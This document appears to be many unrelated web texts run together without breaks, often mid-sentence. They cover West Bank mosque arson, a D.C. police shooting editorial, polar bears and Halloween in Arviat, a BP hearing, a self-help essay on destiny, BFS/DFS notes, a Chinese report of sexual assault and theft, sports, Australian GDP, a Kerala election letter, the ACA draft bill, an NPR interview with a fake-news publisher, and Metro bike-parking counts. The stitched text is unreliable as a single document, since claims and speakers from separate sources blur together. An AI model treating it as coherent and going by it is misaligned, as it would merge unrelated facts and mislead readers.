See all the photos in the slide show below.
Disclaimer
My Car Quest provides no warranty about the content or accuracy of the content published here. My Car Quest shall not be liable for any loss of profit or any other damages resulting from use of the information published here. Descriptions and content of advertisements are the sole liability and responsibility of the individual seller.Settlers on Tuesday gave new copies of the Koran to Palestinians in a West Bank village whose mosque was burned in an attack blamed by Palestinians on settlers.
Several copies of Islam's holy book were scorched in the arson attack and threats in Hebrew were scrawled on the wall of the mosque of Beit Fajjar early on Monday.
Rabbi and peace activist Menachem Froman. Reuters / Ammar Awad
The village sits on the edge of the Jewish settlement bloc of Gush Etzion.
Suspicion immediately fell on settlers opposed to a peace deal between Israel and the Palestinians, in which some settlements could be turned over to a Palestinian state.
"This visit is to say that although there are people who oppose peace, he who opposes peace is opposed to God," said Rabbi Menachem Froman, a well-known peace activist and one of a handful of settlers who went to Beit Fajjar to show solidarity with their Muslim neighbors.
Froman and other Jews and Palestinians who advocate coexistence held a demonstration by a busy West Bank highway junction, displaying banners saying: "We all want to live in peace." But fewer than 20 people turned out.
"I would like to see more people come to events like this," said Aharon Frasier, a young American-born rabbi from a nearby settlement who wanted to express his "strong objections" to an attack that contradicts Jewish values.
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"We can't leave it to the politicians. We have to do what we believe in" to build peace and security, he said.
Stone-throwing youths
When Israeli security forces prevented Beit Fajjar Palestinians from joining what was supposed to be their joint demonstration, Palestinians youths began throwing stones at the
troops, who fired tear-gas in response.
No injuries were reported.
One ultra-Orthodox young Jewish bystander seemed baffled by the demonstration. "A demonstration against the burning of the mosque?" he asked reporters. "Have the settlers all turned left-wing?"
Prime Minister Benjamin Netanyahu, who has called for calm while the Israeli and Palestinian leaders try to avert the collapse of U.S.-backed peace negotiations, condemned the mosque attack and urged police to track down the arsonists.
Any flare-up of violence in the West Bank poses a direct threat to peace talks that were launched just a month ago but suspended by the Palestinians last week when a 10-month Israeli moratorium on building new houses in West Bank Jewish settlements expired.
On the eve of a Washington summit to launch the direct negotiations on Sept 2, four Israelis were killed in a shooting attack near Hebron for which the militant Palestinian Islamist group Hamas claimed responsibility.AFTER 24-YEAR-OLD Albert Jermaine Payton was fatally shot outside his Southeast home by D.C. police officers, the department issued a terse news release. The man, according to the statement, had approached officers brandishing a knife and was shot when he did not comply with their order to drop the weapon.
That was more than two years ago. No other information — the number of shots fired, the type of knife, the race or backgrounds of those involved — has been forthcoming. Investigation by the U.S. Attorney’s Office is still ongoing, and police said they are constrained from comment as long as that probe is open. Meanwhile, the two unnamed police officers have returned to duty.
Clearly, there is something wrong with a system in which there seems to be no sense of urgency in accounting for a death in which police were involved. Not only is it unfair to those affected — the victim’s family as well as the police officers — but it also undermines the community trust in police that is critical to fighting crime.
How police-involved deaths are handled is under increased nationwide scrutiny because of controversies over the deaths of Michael Brown in Ferguson, Mo., Eric Garner in Staten Island, N.Y., Tamir Rice in Cleveland and other high-profile cases. The case of Mr. Payton, shot Aug. 24, 2012, was highlighted in a recent Wall Street Journal article examining weaknesses in the national collection of data about deaths involving police that make it nearly impossible to know how many people officers kill each year. Among the troubling findings is that there are agencies, including Fairfax County police, that inexplicably don’t consider justifiable homicides by law enforcement officers as events that should be reported.
The situation is unacceptable. Congress, as we have urged, should put in place a system that ensures the collection of accurate information to assess the problem and inform the debate over reform. But there is also, as Mr. Payton’s case demonstrates, a need for local police officials to treat these cases as priorities and with more transparency. To their credit, D.C. police do report all uses of force — both fatal and non-fatal — in publicly available annual reports.
A spokesman for the U.S. Attorney’s Office for the District of Columbia offered little explanation — other than that a resolution of the case is expected “soon” — about why it has taken so long to get to the bottom of what happened when police responded to a call about family violence on that hot summer day. We hope that when prosecutors conclude this case, they will provide a full accounting of the events. If no criminality is found, that should not be the end of the matter. It will be important to know the results of any administrative review by the department and whether different procedures or actions might have produced a different result.Arviat, Nunavut, is moving Halloween indoors this year because of the danger to trick-or-treating children from polar bears.
The bears have been coming into the community more in recent years, especially in the fall during freeze-up. That's why the hamlet met with the public this week to discuss alternatives to trick or treating door-to-door.
It was decided to hold Halloween celebrations at the community hall.
Steve England, the Hamlet's SAO, says, a majority of Arviat residents support the idea.
Picture 1,200 kids going door to door in Arviat in the middle of polar bear season. - Steve England
"Picture 1,200 kids going door to door in Arviat in the middle of polar bear season," he said.
Polar bears attempt to get at meat wrapped in steel mesh at a "diversionary feeding station" near Arviat, Nunavut, in the fall of 2013. Wildlife officers in the Nunavut community were trying out the technique to help keep polar bears out of the community during freeze-up. (James Tagalik)
"It's a pretty obvious conclusion of what tragedies could come out of that. We're just trying to safeguard the younger population by offering an alternative."
The community hall will feature a haunted house and face painting. Prizes and candy will be given out.
The hall has limited space, so the hamlet is considering different times for different age groups. They're also arranging to have a shuttle bus take children to the hall.
England says if this year's indoor Halloween festivities are a success, it may become an annual tradition.
Arviat is on Hudson Bay about 250 kilometres north of Churchill, Man., which is also visited by polar bears in the late fall.Republican Congressman Apologizes To BP For White House “Shakedown”
Doug Mataconis · · 38 comments
The Congressional hearings on the BP oil spill are just starting, but we’ve already got the first headline of the day:
WASHINGTON – A leading House Republican accused the White House Thursday of a “$20 billion shakedown” of oil giant BP by requiring the company to establish a huge fund to compensate those hurt by the Gulf Coast oil spill. Rep. Joe Barton made the assertion at the outset of a House hearing where BP’s chief executive officer, Tony Hayward, was appearing for the first time before Congress. Facing Hayward at the witness table, the Texas Republican congressman said, “I’m ashamed of what happened in the White House” on Wednesday. Barton was referring to the agreement that President Barack Obama announced with BP for establishment of a $20 billion relief fund. Rep. Ed Markey sharply disagreed with Barton. Markey said the compensation fund was “not a slush fund, not a shakedown. … It was the government of the United States working to protect the most vulnerable citizens that we have in our country right now, the residents of the Gulf.” “It’s BP’s spill,” the Massachusetts Democrat said, “but it is America’s ocean, and it is America’s citizens who are being harmed. … No, this is not a shakedown of the company.”
Video:
Already, the White House is out with a statement:
What is shameful is that Joe Barton seems to have more concern for big corporations that caused this disaster than the fishermen, small business owners and communities whose lives have been devastated by the destruction. Congressman Barton may think that a fund to compensate these Americans is a ‘tragedy’, but most Americans know that the real tragedy is what the men and women of the Gulf Coast are going through right now. Members from both parties should repudiate his comments.
This strikes me as an incredibly stupid statement on Barton’s part. As I noted yesterday, there are plenty of legitimate questions that need to be asked about the escrow fund that was announced by the White House. However, there are no apologies necessary to BP, or to Tony Hayward. Ultimately, there are responsible for the damages resulting from the destruction of the Deepwater Horizon and that seems to be what the escrow fund is intended to cover.
More importantly, though, the sheer political stupidity of apologizing to a company that is responsible for the worst environmental disaster in American history. Barton is unlikely to pay a political price himself since he has represented the same Texas Congressional District since 1985, but I doubt you will see any other Republicans joining Barton in his apologia, aside from the Rush Limbaugh’s of the world.
Update: At the start of the afternoon session of the hearing, Barton retracted his earlier statement:
“I apologize for using the term ‘shakedown’ with regard to yesterday’s actions at the White House in my opening statement this morning, and I retract my apology to BP. As I told my colleagues yesterday and said again this morning, BP should bear the full financial responsibility for the accident on their lease in the Gulf of Mexico. BP should fully compensate those families and businesses that have been hurt by this accident. BP and the federal government need to stop the leak, clean up the damage, and take whatever steps necessary to prevent a similar accident in the future. I regret the impact that my statement this morning implied that BP should not pay for the consequences of their decisions and actions in this incident.”
Well okay then.I was contemplating the other day about destiny and free will and I processed both of them in ways that make sense to me in a non conflicting way….. at least from my perspective. My view on this may be different from yours but the way I see it, Destiny is something you are meant to do. It is something that brings you closer to your highest self. It is not a hard set path that you must take but rather a journey to a destination that will bring out the best in you. What you’re destined to do opens your eyes to the most profound epiphanies about yourself, your surroundings, and your purpose. The road to your destiny may be rough but the lessons you learn from your experiences on this path will be life changing and contribute significantly to your personal development.
Like a car getting a green light at every approaching intersection, sometimes the Universe can open the doors and clear the way for you if you chose to follow your destiny. Following your destiny could be as easy as flowing with the Tao, not resisting, but surrendering to the stream of water that will bring you to an ocean of possibilities. In nature, water is a natural element that always flows to the ocean. Through erosion it cuts through rocks and carves valleys through mountains. Not to get all organized religion on you but let me quote Jesus when he said “Truly I tell you, if you have faith and do not doubt, you can say to this mountain, ‘Go, throw yourself into the sea,’ and it will be done.” Water is the only element that moves mountains and takes their rocks and minerals out into the sea. Perhaps an intentional metaphor or just a coincidence but I like to compare it to the Eastern view of flowing with the Tao. The Tao is the force that is most aligned with life, nature, and fulfillment. Water is one of the 5 elements of the Tao and is the most powerful. Water is used as a metaphoric symbol when pursuing your dreams because when you align yourself with that element, you can move mountains. It also instills patience in the student who understands the element because water does not cut through rocks and mountains in one day, it does so over time. Like anything you pursue, as much as we want to get to the next check point as quickly as possible, truly successful people have patience.
On the contrary, pursuing your destiny may be challenging at first, you may not be getting a ton of green lights but rather a bunch of obstacles and hurdles. But within the struggle to live your ideal life and become your greatest version of yourself, the journey itself can be an enlightening process. You will learn things about yourself that you never knew before. People who are strong enough to pick themselves up after failure always become stronger and wiser individuals. Successful internet entrepreneurs that I have listened to have often said “I have a lot of expensive experience”. They have taken big blows to their finances and self esteem before they were able to get to a point where they had unimaginable wealth and freedom. Just because you are pursuing your destiny, does not mean you won’t encounter failure.
Whether the road is rough or easy, the Stars are aligned for you to pursue what you are destined to do. You just got to be up for the challenge…. to become the greatest version of yourself. It’s not about how easy or difficult your destined path may be, it’s about what you will get out of it, and who you will transform into through the process of walking that path.
How do you know what your destiny is? What are you naturally good at that you enjoy doing? What do you feel a strong need to pursue, create, or make a difference in? What type of activity or place do you feel most at home and at peace with yourself? These are questions you have to ask yourself. In this modern world we have to balance happiness with making a living. Understandably many people don’t pursue what they feel destined to do because of this. Others, going against the odds take a leap of faith because they cannot live in a reality where they aren’t living according to their full potential.
Destiny is not set in stone because we do have free choice. We can pursue another path and be successful at it. But what is success? Is it money? That is what most people have been conditioned to feel success is. What if you wanted to be a painter but thought it was too difficult to make money as a painter. So instead you became a stock broker. You become wealthy but you work long hours, have little time for yourself, your job is stressful, you may have bought a lot of toys yet have minimal amount of time to actually enjoy the fruits of your labor. Is that success? Money and resources are needed to exist in our reality, it’s needed to exist comfortably in our economy, but we must look at success beyond money, the circle is much bigger than that. If you prioritize the lifestyle you want before the money, you will soon realize that there are many other variables of success that fit into this circle. Imagine your ideal lifestyle, then figure out a way to afford it. Most people think of how to make money first, and then find a way to make their ideal lifestyle fit in to it. It should be the other way around.
You can chose a path that is not your destiny and become “successful” at it but will it truly be fulfilling? Will it be something you can’t wait to do everyday? These are the things we must think about. I can’t give you the answer, only you can decide what is best for you, what your definition of success and happiness and fulfillment is subjective to your own perspective. I’m just giving you something to think about. Deviating from your destiny could be a path of disappointment and failure, or it could be disappointment and failures that lead up to financial success. Either way the journey will either be successful or unsuccessful but the main question is, will the path lead you to the highest version of yourself? Will you feel fulfilled? Will you feel like you make a difference? Will your soul feel relevant or will your life feel mundane?
The highest version of yourself… What the hell is that exactly? How does one define the greatest version of themselves?
This is my subjective interpretation of it. Your highest self is a state of mind where you feel fulfilled mentally, spiritually, emotionally, financially (depending on what your relationship to money is), and emotionally. Your highest self enables you to resiliently stand on your own regardless of what situation you may encounter. So if your highest self is a state of mind, what comes first? Your destiny or the state of mind? The real truth is, it’s the state of mind that will bring you to your highest self, which will then bring you to your destiny. Some people follow their destiny, and on the journey they grow and cultivate the state of mind necessary to pursue what they’re destined to do. But for those who dream the impossible and don’t allow the external world to conflict with the inner selves, they are the ones who have the state of mind that guides them on their destiny. Steve jobs has an endearing perspective of getting what you want out of life. The 3 minute video below will serve you well to watch it.
As I mentioned earlier, you have free choice. You have a choice of how to think and conduct yourself in this lifetime. What you chose to perceive as limitations, rewards, sacrifices, long term vs short term fulfillment, these are all variables that create a state of mind geared toward personal development, self sabotage, or mediocrity. Free will and destiny are almost linked together, a blurred line that connects them both. Funny how something you are meant to do can only be done if you Chose to do it.
Always remember, You Have The Free Will To Pursue Your Destiny.
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BRIDGETON, N.J. — The family of a man shot and killed by police in southern New Jersey during a traffic stop in December 2014 is calling for a federal probe into the shooting.
NJ.com reports that the mother and family of Jerame Reid, along with a community activist, gathered at a home in Bridgeton, New Jersey, on Saturday, saying they will seek a federal civil rights investigation.
Related article Video: Intense NJ dash cam video released in fatal OIS
The move comes days after a grand jury voted to not file charges against two Bridgeton police officers who shot and killed the 36-year-old Reid following a traffic stop.
"I feel that justice was not served," said Shelia Reid, the victim's mother. "We want justice and peace. I want a thorough investigation."
Jerame Reid was the passenger in a car that was pulled over on Dec. 30 after it ran a stop sign. Bridgeton police officers Braheme Days and Roger Worley repeatedly ordered Reid to stay inside the vehicle after Days recovered what appeared to be a gun from the vehicle's glovebox, according to dash cam video.
Reid ignored the orders and exited the vehicle with his hands up. Both officers shot at Reid but only Days struck him, killing him.
Community activist Walter Hudson said he will seek a federal civil rights investigation, according to the newspaper, and intends to contact New Jersey's top federal prosecutor.
Copyright 2015 The Associated PressToronto Blue Jays infielder Steve Tolleson was unable to take the field on Wednesday night, and the 30-year-old will meet with an eye specialist for a fourth consecutive day on Thursday amid an alarming deterioration of his vision.
“You play this game because you’re able to see,” Tolleson told Sean Fitz-Gerald of the National Post on Wednesday night. “Any time you’re not seeing the way that you know you’re supposed see, whether it’s everyday life or whether it’s baseball, yeah, it worries you.”
Tolleson underwent successful laser eye surgery in 2009, but continues to deal with blurriness, especially in his right eye, prompting the journeyman to speak with manager John Gibbons prior to Wednesday's 5-3 loss to the New York Yankees.
“They don’t think it’s anything major,” Tolleson said. “But any time you’re not seeing to the ability that you have to, to be successful at this game, kind of led me to speak to [manager John Gibbons] a little bit before the game.”
Tolleson, a fifth-round draft pick in 2005, has set career-highs this season in games played (44), hits (18), and runs (7).Nice Explanation from http://www.programmerinterview.com/index.php/data-structures/dfs-vs-bfs/
An example of BFS
Here’s an example of what a BFS would look like. This is something like Level Order Tree Traversal where we will use QUEUE with ITERATIVE approach (Mostly RECURSION will end up with DFS). The numbers represent the order in which the nodes are accessed in a BFS:
In a depth first search, you start at the root, and follow one of the branches of the tree as far as possible until either the node you are looking for is found or you hit a leaf node ( a node with no children). If you hit a leaf node, then you continue the search at the nearest ancestor with unexplored children.
An example of DFS
Here’s an example of what a DFS would look like. I think post order traversal in binary tree will start work from the Leaf level first. The numbers represent the order in which the nodes are accessed in a DFS:
Differences between DFS and BFS
Comparing BFS and DFS, the big advantage of DFS is that it has much lower memory requirements than BFS, because it’s not necessary to store all of the child pointers at each level. Depending on the data and what you are looking for, either DFS or BFS could be advantageous.
For example, given a family tree if one were looking for someone on the tree who’s still alive, then it would be safe to assume that person would be on the bottom of the tree. This means that a BFS would take a very long time to reach that last level. A DFS, however, would find the goal faster. But, if one were looking for a family member who died a very long time ago, then that person would be closer to the top of the tree. Then, a BFS would usually be faster than a DFS. So, the advantages of either vary depending on the data and what you’re looking for.
One more example is Facebook; Suggestion on Friends of Friends. We need immediate friends for suggestion where we can use BFS. May be finding the shortest path or detecting the cycle (using recursion) we can use DFS.At around 5 a.m. on Sunday morning, one man in Guangxi’s Liuzhou city woke up on a public bench from an alcohol-induced slumber to find his pockets empty and his belt loosened.
The man, given the pseudonym A’Jun, immediately reported the incident to police who began their investigation by checking out nearby surveillance cameras, local media reports.
Police watched carefully as A’Jun wandered into the frame at around 2 a.m. that morning and promptly passed out on an extremely uncomfortable-looking bench. Over the next few hours, a few people passed by, but at around 4:30 a.m., a suspicious man approached A’Jun. After making sure that there was no one else around, he began to touch A’Jun’s crotch and soon went to work.
In video clips that have gone viral on WeChat, the man can be seen kneeling down to give A’Jun a handjob and then a blowjob, all while A’Jun sleeps soundly through the whole thing.At one point, a smartphone appears to fall from A’Jun’s pocket and the man stops what he’s doing to retrieve it before returning to pick up where he left off. This encounter reportedly lasted four or five minutes. At the end, the man reaches over to take A’Jun’s wallet out of his pocket before leaving the scene.After watching the video, police began to follow the man’s trail. By noon that day, they had arrested him at a hotel just 200 meters away from where the incident took place. Police said that the man was less than 30 years old and in town on “business” from northern Guangxi.The man admitted to police that he was gay and explained that as he was walking by he had noticed A’Jun and thought that he was quite attractive. It was only when he found out just how deep of a slumber his Prince Charming was in that he then decided to steal from him.Inside the wallet, he found 600 yuan in cash. He took the money out and ditched the wallet, but kept A’Jun’s ID card to remember him by.The man is currently in custody. It’s not yet clear what will happen to him; however, in 2015, China finally passed legislation making male rape a crimeThe undrafted Stanton, who just finished his season with the Medicine Hat Tigers of the WHL, also had a try out last fall with the Detroit Red Wings. He attended the combine in 2013 where he cracked the top 10 in the wingspan measure, so we know he has reach.
He also has height. The WHL lists him at 6'4" and 200 lbs. Surprisingly, he's a leftie, while the Leafs, Marlies and Solar Bears have been looking at righties lately.
He finished eighth in scoring on his team with 5 goals and 32 assists in 67 games. One caution on those numbers is that a lot of those assists are secondary points. He drops down in the league rankings when you consider just primary points.
The Marlies are using every healthy player right now, and with this signing and the return of Freddie Gautier from the Leafs, they have a small amount of breathing room in manpower.
According to Marlies broadcaster Todd Crocker, Tylor Spink, who played last weekend is heading back to school.
Stanton is the brother of Ryan Stanton, also a defenceman, undrafted, who is currently playing for the Hershey Bears.
We should get a look at the younger Stanton this weekend when the Marlies host the IceCaps on Saturday afternoon.Game of Thrones is looking to an old-school tactic to preserve the mystery behind its highly anticipated eighth and final season.
According to a report quoting HBO programming president Casey Bloys — who was speaking at Bethlehem’s Moravian College last week — the executive revealed GoT will film multiple endings for the series so even the show’s cast doesn’t know how the story will end.
“I know in Game of Thrones, the ending, they’re going to shoot multiple versions so that nobody really know what happens,” Bloys was quoted as saying. “You have to do that on a long show. Because when you’re shooting something, people know. So they’re going to shoot multiple versions so that there’s no real definitive answer until the end.”
HBO isn’t confirming or denying the report, by the way.
The series has battled in recent years to reduce plot point leakage. The GoT showrunners were previously asked by EW about what tactics they might take to protect the final season’s secrets and executive producer Dan Weiss replied, “We don’t even want to tell you because if we do then somebody will figure out how to circumvent the things that we’re doing.”
GoT is going into production in October and will debut its final season — which consists of six episodes — in either late 2018 or 2019, as Bloys explained previously to EW: “They have to write the episodes and figure out the production schedule. We’ll have a better sense of that once they get further into the writing. One of the hallmarks of the show has been how cinematic is it. The show has proven that TV is every bit as impressive and in many cases more so, than film. What they’re doing is monumental. When you see these battles in season 7, and what I imagine season 8 will be, it’s a big, big show.”The dismissals of senior running back Joe Bergeron and sophomore running back Jalen Overstreet have left the Texas Longhorns short on scholarship running backs this fall, but the school received good news this week when the NCAA cleared freshman running back D'Onta Foreman, according to a report from Horns247.
The twin brother of freshman wide receiver Armanti Foreman, D'Onta had to take a summer class in order to qualify academically. He passed the class, submitted his transcript to Texas early in the week, then was given the go-ahead by the NCAA to enroll in school and start practicing with the Horns.
A Semper Fidelis All-American along with his brother, Foreman is coming off a massively productive senior season, having carried the ball 186 for 1,893 yards and 26 touchdowns.
Part of a three-man running back class for Texas in 2014, the group has already shrunk with the news that all-purpose back Kevin Shorter will take a medical scholarship following his spinal injury last fall. The only back of the three who has been practicing, Donald Catalon, is currently sidelined with an injury.
With Catalon currently unavailable, Texas had been working with only two scholarship running backs -- senior Malcolm Brown and junior Johnathan Gray, who says that he is nearly recovered from the Achilles injury that ended his sophomore season in the West Virginia game.
As a result, if Catalon misses anything significant amount of time, the Horns may have to turn to Foreman for several carries a game. And depending on how much weight he has added since his senior season, Foreman could earn the short-yardage tailback role. However, it's likely that Brown still has some weight on him -- Foreman was listed at 207 pounds last year, while Brown currently checks in at 222.
In any case, the Horns needed some good news at the position and got it.Image caption Australia's central bank has in recent months lowered borrowing costs to a record low
Australia has reported better-than-forecast growth numbers for the April to June quarter, boosted by gains in consumer spending.
Its gross domestic product (GDP) expanded 2.6% during the quarter, from a year earlier. Compared with the previous quarter, growth was 0.6%.
Most forecasts were for an annual growth closer to 2.5%.
Analysts said the data was likely to see the Australian central bank hold back on easing its policies further.
"This is probably a touch above what the Reserve Bank of Australia was expecting and this would decrease the probability of a near term rate cut," said Matthew Johnson, an interest rate strategist at UBS.
Australia's central bank, which has lowered borrowing costs to a record low in recent months, kept rates unchanged as it met on Tuesday.
'Sub-trend growth'
Australia's economy, which enjoyed robust growth in recent years, has seen its growth rate slow of late.
One of the biggest drags has been the slowing demand for its natural resources such as iron ore.
The sector has been hurt by a decline in demand from countries such as China, triggering concerns that Australia's economic growth may dip further.
At the same time, other sectors of the economy have not picked up enough speed to offset the slowdown in mining.
Analysts said that while the latest numbers had helped allay some fears of a sharp slowdown, the economy was still under pressure.
Brian Redican, a senior economist at Macquarie Bank, said the latest numbers were a continuation of "this distinctly sub-trend growth that we've seen over the last nine months now".
"It doesn't suggest that the economy is falling into a hole yet, but there aren't really signs that we're going to break out of this rut either."Politics
As part of the campaigning, a day prior to the polls, the party literally brought Kokila back from the grave.
Residents of the Thevally ward in Kollam who voted in the by-election on Wednesday had to consider a strange plea from their deceased BJP councillor canvassing votes for the party candidate.
The by-election was called after 23-year-old Kokila S Kumar -who was also the youngest ward councillor- was killed in a road accident last September. The Bharatiya Janata Party zeroed in on her mother B Shailaja -a party worker for the past 25 years- to contest the post that lay vacant after her daughter’s untimely death.
As part of the silent campaigning, a day prior to the polls, the party literally brought her back from the grave with a letter written in first person and duly ‘signed’ by Kokila.
After the initial pleasantries, the letter reads:
"I could not complete the five-year term you gifted me to serve you. The love you showered on me is indeed a great recognition for me. Even though you bid me farewell with a heavy heart on Thiruvonam, I have realized that I cannot part with you."
Terming every voter ‘special’, the letter goes on to appeal for public support to Kokila's mother:
"I want to ask you for something....I cannot do so in person. Please give all the support you can to my mother Shailaja. I request you to do so. I shall not ask anything more from you. I end this letter with the hope that all of you will fulfill my wish.”
While BJP Kollam president Gopinath chose to feign ignorance about such a campaign strategy, the party district vice-president Advocate Gopan demanded to know “What was wrong in that?” and refused to comment further on the matter.
When contacted by TNM, Kokila's mother readily took full responsibility for the letter:
"I have done this for my party. I do not find anything wrong with it. My own daughter is seeking votes for me. What's wrong in that? She was my daughter. This is my right. No one can raise an objection."
Kokila was voted to power in November 2015. She had hardly completed ten months in office when she lost her life on 13 September 2016 while returning home with her father, after a speeding car hit her two-wheeler. Her father succumbed to his injuries a day later.ACA, Affordable Care Act, Obamacare
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LATE LAST WEEK, Politico released a leaked 105-page draft bill defining the House Republican plan to repeal/replace/repair/re-whatever the Affordable Care Act/Obamacare. The draft legislation was dated February 10, so likely it’s already out of date, though it is the best indication yet of their rapidly evolving intentions and fits with many of their prior recent proposals. So a big GOP move is getting close, and it’s not good. What’s important?
First, the ACA’s generous coverage expansion (for many, not all) through Medicaid expansion and private insurance subsidies would be drastically curtailed, leaving most of the 22 million who got either form of coverage without an affordable option.
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Second, not only is the ACA Medicaid expansion repealed by 2019 (11 million people and counting), the plan would replace current Medicaid financing with a “per capita cap” by 2019, shrinking funding by hundreds of billions, perhaps more, over 10 years.
Third, lower and lower-middle income Americans who would lose Medicaid or private subsidies would be eligible for drastically reduced tax credits resembling a 6-foot ladder to escape a 12- foot hole, only varying by age. Those under 30 would get a $2,000 credit and those over 60 would get $4,000 – with other age groups qualifying for credits of $2,500, $3,000, and $3,500.
Fourth, standard national benefits in the ACA, called Essential Health Benefits, would end by 2020, including guaranteed coverage for prescription drugs, mental health and substance abuse services, maternity care, and more. States could set minimum benefits if they chose to.
Fifth, the bill eliminates the ACA’s tax hikes on wealthy households, drug-insurance-medical device companies, and tanning salons. Repealing the wealth taxes, especially on unearned income, would make this one of the biggest tax cuts for high income families ever, as low and lower middle income families lose support for health insurance.
Sixth, the one silver lining, House Speaker Paul Ryan’s stated intention to resurrect preexisting condition exclusions and medical underwriting for tens of millions of Americans who would be unable to maintain “continuous coverage” for at least 62 days is laid aside in favor of a one-year late enrollment penalty of 130 percent of the premium cost. Far better than his original idea, and far more punitive and expensive, by the way, than the ACA’s individual mandate. Much more is included and well-summarized in health care expert Tim Jost’s Health Affairs blog post on the leaked draft legislation.
In the next week or so, the Congressional Budget Office will release estimates on cost and coverage impacts. Their estimate will provide the essential frame for the upcoming debate. Ryan and his team are determined to push this bill |
'm looking for Jestin Coler.
COLER: Why?
SYDELL: I'm a reporter with NPR. We were looking online, and through a lot of tracing, discovered that Disinformation Media (ph) was the owner of several websites such as...
COLER: I don't know what to tell you guys.
SYDELL:...Thenationalreport.net.
COLER: Sorry, guys. I don't know what to tell you.
SYDELL: Nothing...
COLER: Have a good day.
SYDELL: That's not you? All right.
COLER: All right, thanks, guys.
SYDELL: Thank you.
We left Coler our contact information, and a couple of hours later, he had a change of heart. He sent us an email and agreed to talk.
COLER: My name is Disinfomedia, and I'm the owner of Disinfomedia Inc.
SYDELL: Coler is a soft-spoken 40-year-old with a wife and two kids. He says he got into fake news around 2013 to highlight the extremism of the white nationalist alt-right.
COLER: The whole idea from the start was to kind of build a site that could kind of infiltrate the echo chambers of the alt-right, publish blatantly false or fictional stories and then be able to publicly denounce those stories and point out the fact that they were fiction.
SYDELL: Coler was amazed at how quickly fake news could spread and how easily people believe it. He wrote one fake news story for nationalreport.net about how customers in Colorado marijuana shops were using food stamps to buy pot.
COLER: What that turned into was a state representative in the House in Colorado proposing actual legislation to prevent people from using their food stamps to buy marijuana based on something that had just never happened.
SYDELL: During the run up to the election, fake news really took off.
COLER: It was just anybody with a blog can get on there and find a big, huge Facebook group of kind of rabid Trump supporters just waiting to eat up this red meat that they're about to get served, cause an explosion in the number of sites.
SYDELL: Coler says they've tried to write fake news for liberals, but they never take the bait. Coler's company, Disinfomedia, owns many faux news sites. He won't say how many, but he says he's one of the biggest fake news businesses out there, which makes him kind of like a godfather of the industry.
At any given time, he's got between 20 and 25 writers. And one of them wrote the story in the Denver Guardian that an FBI agent who leaked Clinton emails was killed. Coler says over 10 days, the site got 1.6 million views. He says stories like this work because they fit into existing right-wing conspiracy theories.
COLER: The people wanted to hear this, you know? So all it took was to write that story. Everything about it was fictional - the town, the people, the sheriff, the FBI guy. And then, you know, our social media guys kind of go out and do a little dropping it throughout Trump groups and Trump forums, and, boy, it spread like wildfire.
SYDELL: And as the stories spread, Coler makes money from the ads on his websites. He wouldn't give exact figures. Coler says stories about other fake news sites making between $10,000 and $30,000 a month apply to him.
Coler fits into a pattern of other fake news sites that make good money, especially by targeting Trump supporters. He insists this is not about money. It's about showing how easily fake news spreads. But when it did spread - and it spread a lot before the election - Coler didn't stop.
You were making good money on it, so it also gave you a lot of incentive to keep doing it regardless of the impact.
COLER: Correct.
SYDELL: Coler did talk to other news organizations over email and identified himself as a fake news entrepreneur but only over email and under a different name - Allen Montgomery. Coler, a registered Democrat, says he has no regrets about his fake news empire. He doesn't think fake news swayed the election.
COLER: There are many factors as to why Trump won that don't involve fake news, right? As much as I like Hillary, she was a poor candidate. She brought in a lot of baggage.
SYDELL: Coler doesn't think fake news is going away. One of his sites, National Report, was flagged as fake news under a new Google policy, and Google stopped running ads on it. But Coler had other options.
COLER: There are literally hundreds of ad networks. Early last week, my inbox was just filled every day with people because they knew that Google is cracking down - hundreds of people wanting to work with my sites.
SYDELL: Coler says he's been talking it over with his wife, and he may be getting out of the fake news racket. But he says dozens, maybe hundreds, of entrepreneurs will be ready to take his place. And he thinks it will only get harder to tell their websites from real news sites. They know that fake news sells, and they will only be in it for the money. Laura Sydell, NPR News.
MCEVERS: There's an extended conversation with fake news entrepreneur Jestin Coler on npr.org.
Copyright © 2016 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.Bicycle access is a key long-term access strategy to Metro’s services, and we are currently trying to triple the number of bicyclists accessing our network by 2020. As we develop plans for capital investment in bicycle and pedestrian facilities, we need good data on bicycle parking demand to tailor new facilities to each station. Our most recent bike parking counts were from 2006-2007, but a lot has happened since then.
So, taking a cue from from trail count data, we counted bikes and racks at rail stations over a six-week window of peak usage from May 1 to June 15 for a “bike parking census.” Each station was counted on a sunny, warm day typically between 9:30am and 3:00pm. We wanted to learn about the general availability of and demand for bike parking in station areas. For these counts, we specifically excluded bike lockers and the Union Station Bikestation, and focused just on racks. We wanted to know how easy it would be for a new bike-to-rail customer to easily find bike parking near a station. We counted each U-Rack as space for 2 bikes, and used our best judgment for wave, grid, post-and-ring, and other racks.
Overall Findings
84 of our 86 stations have bicycle racks (all but Arlington Cemetery and Stadium-Armory)
Bike-to-rail access seems to be up significantly over the last 5 years
There is space to park 3,540 bicycles near Metrorail stations, and we saw 2,196 parked bicycles total
Supply is not always matched to demand at a station-by-station level. Some stations are at or above capacity today, and additional bike-to-rail customers would be unable to find legitimate bicycle parking. Other stations have plenty of underused space. Racks at some stations are not aligned with demand – they have unused capacity on one side of the station, but overflowing racks on the other side.
Stations where total bikes parked exceeded 100% of rack capacity: 12
Even though a station may show some “empty spaces,” the racks may still be crowded enough that an average bicyclist would call the rack “full” in all practicality.
Stations where we observed at least 3 bikes tied to things other than racks: 26
Bike Parking Since Last Count
As shown in the table, bike-to-rail access is significantly higher than the last time we counted parked bicycles on racks nearly 5 years ago. Part, but not all of the increase is because we were more thorough about counting non-WMATA racks near station entrances, so there are some apples-to-oranges issues here. The number of bicycles counted on racks near stations is more than 75% higher. The number and kinds of bike racks in station areas have changed as well (as we replace old Rack III “claw” style racks with inverted-U racks, and as others add racks).
2006-7 Count 2011 Count % Increase Bike Rack Capacity Observed 2,963 3,544 20% Parked Bicycles Observed 1,248 2,196 76%
Station-by-Station Findings
The map below summarizes where we counted bikes on racks, and not on racks, too. Dark blue represents bikes counted tied to the racks identified above, and yellow represents bikes we observed tied to things other than racks – railings, trees, sign posts, etc. Pink represents empty spaces on racks. The size of the pie indicates the total capacity at the station, plus any bikes tied to things other than racks. For example, the racks at Vienna were completely full when we counted, and an additional 31 bikes were tied to railings and other objects. You can download the station-level data for yourself.
(click for full-size)
Top Five Stations by Rack Parking Available
East Falls Church, 124 College Park, 124 Rockville, 103 Braddock Road, 96 Twinbrook, 96
